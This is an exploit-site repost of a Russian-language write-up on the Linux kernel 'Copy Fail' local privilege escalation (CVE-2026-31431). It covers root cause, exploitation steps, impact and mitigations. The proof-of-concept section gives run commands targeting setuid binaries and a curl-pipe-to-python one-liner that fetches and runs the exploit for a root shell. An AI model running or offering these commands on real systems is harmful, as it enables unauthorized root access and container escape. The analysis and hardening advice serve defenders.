Sploitus

Exploit for CVE-2026-31431-PoC

kitploit · 2026-08-27

Exploit Code

MARKDOWN284 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SL4CK0TH-CVE-2026-31431-POC
# CVE-2026-31431 PoC

## Повышение привилегий в локальной системе через уязвимость в ядре Linux в модуле `algif_aead` (запись в страничный кэш «Copy Fail»)

![CVE-2026-31431 Copy Fail](https://assets.kitploit.com/production/public/readmes/52975/4937ba70a75312db889b7e699b0c90e47cc667de8a03420a224719403b9555a3/558867908b4cb509e2690241880cc6f3e00cc47ab4606ad9526462afc43cd4ec-display-v1.webp)

**Автор:** Van Glenndon Enad

**Первоначальное обнаружение:** Theori / Xint Code Research Team (Taeyang Lee)

**Опубликовано:** 29 апреля 2026 г.

**Серьёзность:** Высокая

**Оценка CVSS v3.1:** 7.8

**Вектор CVSS v3.1:** CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CWE:** CWE-787 (запись за пределами границ), CWE-269 (некорректное управление привилегиями)

* * *

## Содержание

  1. Краткое описание
  2. Затронутое программное обеспечение
  3. Описание уязвимости
  4. Анализ первопричины
  5. Предварительные условия
  6. Цепочка эксплуатации
  7. Анализ полезной нагрузки
  8. Подтверждение концепции
  9. Воздействие
  10. Устранение
  11. Ссылки
  12. Хронология раскрытия



* * *

## Краткое описание

CVE-2026-31431, публично названная **«Copy Fail»** , — это уязвимость высокой степени серьёзности, позволяющая повышать привилегии в локальной системе (LPE) в модуле ядра Linux `algif_aead` — интерфейсе шифров AEAD криптографического API ядра для пользовательского пространства (`AF_ALG`). Дефект возник из-за оптимизации производительности (операция «на месте»), внедрённой в 2017 году в коммите `72548b093ee3`, которая непреднамеренно позволила размещать файловые страницы, поддерживаемые страничным кэшем, в записываемом списке рассеяния назначения во время криптографической операции AEAD.

Объединив три подсистемы ядра — сокеты `AF_ALG`, системный вызов `splice()` и поведение алгоритма `authencesn` при записи во временный буфер — непривилегированный локальный пользователь может выполнить **контролируемую запись 4 байт в страничный кэш любого читаемого файла**. Нацелившись на `setuid`-бинарник, такой как `/usr/bin/su`, эта запись повреждает образ исполняемого файла в памяти, не изменяя файл на диске, тем самым обходя инструменты проверки целостности файлов на диске. Результирующее повышение привилегий до `root` является **детерминированным** — не требуется ни состояния гонки, ни смещений ядра для конкретного дистрибутива, ни специальных привилегий. Публично выпущенный PoC-эксплойт на Python размером 732 байта предоставляет root-оболочки в Ubuntu, Amazon Linux, RHEL и SUSE за один неизменённый запуск.

* * *

## Затронутое программное обеспечение

Уязвимость незаметно присутствует в каждом массовом дистрибутиве Linux уже почти **девять лет**. По данным Theori, `AF_ALG` включён в конфигурацию ядра по умолчанию практически во всех дистрибутивах, что означает отсутствие необходимости в специальных флагах сборки или конфигурациях для того, чтобы система была уязвимой.

* * *

## Описание уязвимости

Ядро Linux предоставляет криптографические примитивы пользовательскому пространству через интерфейс сокетов `AF_ALG` (`crypto/algif_aead.c`). В 2017 году была внедрена оптимизация производительности, которая позволила `algif_aead` выполнять операции AEAD **на месте** — повторно используя исходный буфер памяти в качестве назначения — чтобы избежать ненужного копирования данных.

Дефект проявляется, когда пользовательское пространство передаёт входные данные в сокет `AF_ALG` через системный вызов `splice()`. В этом случае страницы, помещённые в список рассеяния источника, являются **страницами страничного кэша** — общей памятью, управляемой ядром, поддерживающей переданный файл. Из-за оптимизации «на месте», устанавливающей `req->src = req->dst`, эти страницы страничного кэша попадают в **записываемый список рассеяния назначения**. Алгоритм `authencesn` впоследствии выполняет запись во временный буфер по адресу `dst[assoclen + cryptlen]`, который разрешается в смещение внутри этих страниц страничного кэша — фактически записывая данные, контролируемые атакующим, в образ переданного файла в памяти.

Поскольку страничный кэш **является общим для всего хоста** , включая контейнеры, запись из одного процесса влияет на кэшированные страницы этого файла для всех процессов и контейнеров на том же ядре.

* * *

## Анализ первопричины

### Оптимизация «на месте» 2017 года

Оскорбительное изменение в `algif_aead.c` установило `req->src = req->dst` и связало страницы тега из списка рассеяния источника в выходной список рассеяния через `sg_chain()`:

root@kitploit:~
    
    
    /* Оптимизация «на месте» 2017 года — коммит 72548b093ee3 */
    req->src = req->dst;             /* источник == назначение */
    sg_chain(dst, n + 1, src_tag);   /* страницы тега связаны в записываемый dst */
    

Когда `splice()` используется для передачи файла в сокет, страницы списка рассеяния поддерживаются страничным кэшем, а не приватной анонимной памятью. Связывание их в записываемый список рассеяния `dst` нарушает предположение о том, что назначение является записываемой приватной памятью.

### Временная запись `authencesn`

Шаблон `authencesn` записывает временное значение порядкового номера (`seqno_lo`, байты 4–7 AAD) по адресу `dst[assoclen + cryptlen]`. Поскольку `dst` теперь содержит страницы страничного кэша из переданного файла, эта запись попадает в смещение, контролируемое атакующим, внутри образа файла в памяти:

root@kitploit:~
    
    
    /* Временная запись authencesn — смещение определяется assoclen + cryptlen */
    scatterwalk_map_and_copy(seqno, dst,
                             req->assoclen + req->cryptlen,
                             sizeof(seqno), 1);    /* запись в страничный кэш */
    

Записанные 4 байта соответствуют `seqno_lo`, который атакующий контролирует через полезную нагрузку AAD, отправляемую через `sendmsg()`.

### Поверхность атаки из трёх компонентов

root@kitploit:~
    
    
    Сокет AF_ALG (SOCK_SEQPACKET)
        │
        │  splice() — доставляет страницы файла в сокет
        ▼
    Оптимизация «на месте» algif_aead
        │  req->src = req->dst
        │  страницы страничного кэша попадают в записываемый список рассеяния
        ▼
    Временная запись authencesn
        │  записывает seqno_lo по адресу dst[assoclen + cryptlen]
        │  = выбранные атакующим 4 байта по выбранному атакующим смещению в файле
        ▼
    Повреждение страничного кэша (без изменения на диске)
    

### Почему исправление работает

Исправление (`a664bf3d603d`) полностью отменяет оптимизацию «на месте» — `algif_aead` теперь всегда работает **вне места** , выделяя отдельный буфер назначения. Поскольку источник и назначение теперь поступают из разных отображений, страницы страничного кэша в `src` никогда не могут быть достигнуты путём записи в `dst`.

* * *

## Предварительные условия

Примечательно отсутствие в предварительных условиях: сетевого доступа, функций отладки ядра, `CAP_SYS_ADMIN`, предварительно загруженных модулей ядра или каких-либо существующих примитивов. Поверхность атаки полностью локальна и самодостаточна.

* * *

## Цепочка эксплуатации

root@kitploit:~
    
    
    Шаг 1: Атакующий открывает сокет AEAD AF_ALG (SOCK_SEQPACKET)
            │  автозагрузка модуля algif_aead; root не требуется
            ▼
    Шаг 2: Атакующий открывает целевой setuid-бинарник (например, /usr/bin/su) для чтения
            │  требуется только разрешение на чтение
            ▼
    Шаг 3: splice() передаёт страницы целевого файла в сокет AF_ALG
            │  страницы страничного кэша теперь в списке рассеяния источника
            ▼
    Шаг 4: Срабатывает оптимизация «на месте»: req->src = req->dst
            │  страницы страничного кэша попадают в записываемый список рассеяния назначения
            ▼
    Шаг 5: Путь расшифровки authencesn выполняет временную запись по адресу dst[assoclen + cryptlen]
            │  атакующий контролирует assoclen, cryptlen и 4-байтовое значение seqno_lo
            ▼
    Шаг 6: Контролируемая перезапись 4 байт попадает в страничный кэш /usr/bin/su
            │  бинарник в памяти пропатчен; файл на диске не изменён
            ▼
    Шаг 7: Атакующий выполняет `su` — повреждённый образ в памяти запускается от root
            │  бит setuid сохранён; ядро выполняет код, пропатченный атакующим
            ▼
    Шаг 8: Получена root-оболочка — повышение привилегий завершено
    

В контейнерных средах Шаг 6 распространяет повреждение страничного кэша на **хост** и на **все соседние контейнеры** , использующие то же ядро, что обеспечивает полный побег из контейнера.

* * *

## Анализ полезной нагрузки

PoC (`copy_fail_exp.py`, 732 байта) использует только модули стандартной библиотеки Python 3.10+: `os`, `socket` и `zlib`. Эксплойт формирует и отправляет точно сконструированную полезную нагрузку `sendmsg()` в сокет `AF_ALG` после подготовки страниц файла через `splice()`.

### Параметры контролируемой записи

### Цель: пропатченный ELF `/usr/bin/su`

PoC по умолчанию нацелен на `/usr/bin/su`. Запись 4 байт пропатчивает конкретную инструкцию в кэшированной странице ELF-бинарника — заменяя ветвь проверки привилегий или проверку `uid` на no-op или безусловный переход — так что при последующем выполнении `su` среда выполнения `setuid` запускает пропатченный код от `root`. Повреждение **непостоянно** : вытеснение страницы или перезагрузка восстанавливают исходный бинарник.

### Почему нет окна гонки

В отличие от типичных атак на страничный кэш (например, Dirty COW), Copy Fail **не требует состояния гонки**. Путь записи линейный: `splice()` → `sendmsg()` → временная запись. Каждый вызов детерминирован и синхронен, что делает эксплойт высоконадёжным на различном оборудовании, версиях ядра и дистрибутивах.

* * *

## Подтверждение концепции

> **Предупреждение:** Этот PoC предоставлен исключительно в образовательных, исследовательских целях и для авторизованного тестирования. Не используйте его против любых систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.

Канонический PoC поддерживается Theori в официальном репозитории. Это автономный скрипт на Python 3.10+ размером 732 байта без внешних зависимостей.

**Использование по умолчанию (цель —`/usr/bin/su`):**

root@kitploit:~
    
    
    python3 copy_fail_exp.py
    

**Пользовательская setuid-цель:**

root@kitploit:~
    
    
    python3 copy_fail_exp.py /usr/bin/sudo
    

**Однострочник (с официального сайта):**

root@kitploit:~
    
    
    curl https://copy.fail/exp | python3 && su
    # id
    uid=0(root) gid=1002(user) groups=1002(user)
    

**SHA256 канонического PoC:**

root@kitploit:~
    
    
    a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
    

Тот же неизменённый скрипт был публично продемонстрирован для получения root-оболочек в Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 и SUSE 16 в одной сессии tmux.

* * *

## Воздействие

Наиболее критичным вектором воздействия являются **мультитенантные среды** : общие машины разработки, рабочие узлы Kubernetes, self-hosted раннеры GitHub Actions, CI-агенты GitLab/Jenkins, платформы хостинга ноутбуков и бессерверные среды, где пользовательский код выполняется под обычной учётной записью пользователя. Любая такая среда с непропатченным ядром полностью скомпрометирована любым пользователем, который может выполнять код.

* * *

## Устранение

### Немедленные действия

**Обновите ядро** до версии, содержащей исправление из основной ветки — коммит `a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5`:

### Если немедленное обновление ядра невозможно

Отключите модуль ядра `algif_aead`, чтобы заблокировать путь атаки в его источнике:

root@kitploit:~
    
    
    # Сохранить блокировку после перезагрузок
    echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
    
    # Выгрузить модуль из работающего ядра (если загружен)
    rmmod algif_aead
    

> **Что это ломает:** Это **не** влияет на dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH или стандартные OpenSSL/GnuTLS/NSS. Это может повлиять на пользовательские приложения, которые явно используют движок OpenSSL `afalg` или напрямую привязывают сокеты `aead`. Проверьте с помощью `lsof | grep AF_ALG` перед применением.

### Эшелонированная защита

  * **Контейнеры и песочницы:** Заблокируйте создание сокетов `AF_ALG` через `seccomp` независимо от состояния патча — добавьте `SOCK_SEQPACKET` \+ `AF_ALG` в список запрета в вашем профиле seccomp.
  * **Kubernetes:** Применяйте профили seccomp ко всем подам; разверните правила аудита ядра на уровне узла для обнаружения неожиданного создания сокетов AEAD `AF_ALG`.
  * **Обнаружение (правило Falco):** Оповещайте о любом процессе вне известной цепочки инструментов шифрования диска, открывающем сокет `AF_ALG` `SOCK_SEQPACKET` — это обязательный первый шаг эксплойта.
  * **Мониторинг целостности файлов:** Стандартные инструменты FIM **не** обнаружат эту атаку (нет изменений на диске). Отслеживайте неожиданные выполнения `su`/`sudo` в сочетании с использованием сокетов `AF_ALG` как поведенческий сигнал.
  * **Принцип наименьших привилегий:** Избегайте выполнения непроверенного кода на общих ядрах с другими чувствительными рабочими нагрузками.



* * *

## Хронология раскрытия

* * *

  * NVD — CVE-2026-31431
  * Theori / Официальный сайт Copy Fail — copy.fail
  * Theori — Официальный репозиторий PoC (GitHub)
  * Блог Xint Code — Copy Fail: 732 байта до root в каждом крупном дистрибутиве Linux
  * Блог безопасности Microsoft — CVE-2026-31431: уязвимость Copy Fail позволяет повысить привилегии до root в Linux
  * Openwall OSS-Security — Полное раскрытие CVE-2026-31431
  * Рекомендации по безопасности CERT-EU 2026-005
  * Блог Sysdig — Дефект ядра Linux Copy Fail позволяет локальным пользователям получить root за секунды
  * Блог Bugcrowd — Что мы знаем о Copy Fail (CVE-2026-31431)
  * Блог AlmaLinux — Выпущены патчи для Copy Fail (CVE-2026-31431)
  * Портал клиентов Red Hat — CVE-2026-31431
  * Tenable — CVE-2026-31431



* * *

> **Правовое предупреждение:** Этот анализ и подтверждение концепции опубликованы строго в образовательных, исследовательских целях и для целей защитной безопасности. Автор не одобряет несанкционированный доступ к компьютерным системам. Всегда получайте явное письменное разрешение перед проведением тестирования безопасности любой системы, которой вы не владеете.